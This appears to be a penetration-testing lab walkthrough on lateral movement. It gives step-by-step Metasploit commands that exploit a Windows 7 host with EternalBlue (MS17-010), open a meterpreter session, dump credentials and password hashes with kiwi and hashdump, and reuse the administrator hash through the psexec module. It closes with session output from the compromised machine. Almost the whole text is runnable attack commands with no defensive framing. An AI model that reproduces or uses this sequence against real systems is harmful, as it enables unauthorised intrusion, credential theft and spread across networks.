

LATERAL MOVEMENT AND PIVOTING

Go to Kali Linux terminal, log in as root, open msfconsole.

msfconsole

Then search smb-ms17

search smb_ms17

options

use 0 [exploit/windows/smb/ms17_010_eternal_blue]

set RHOST 50.50.60.209 [Windows 7 IP]

exploit

After opening meterpreter

sysinfo

shell

whoami

load kiwi

creds_msv

hashdump [copy the administrator hash password]

background

search ms17

use 1 [exploit/windows/smb/ms17_010_psexec]

options

set RHOSTS 50.50.60.209

set smbpass <paste the hashdump>

set smbuser Administrator

options

exploit

sysinfo

sessions

Output

meterpreter > sysinfo

computer : administrator-PC

OS : Windows 7

Architecture: x64

System language: en-IN

Domain : WORKGROUP

Logged on users: 2

meterpreter : x86/Windows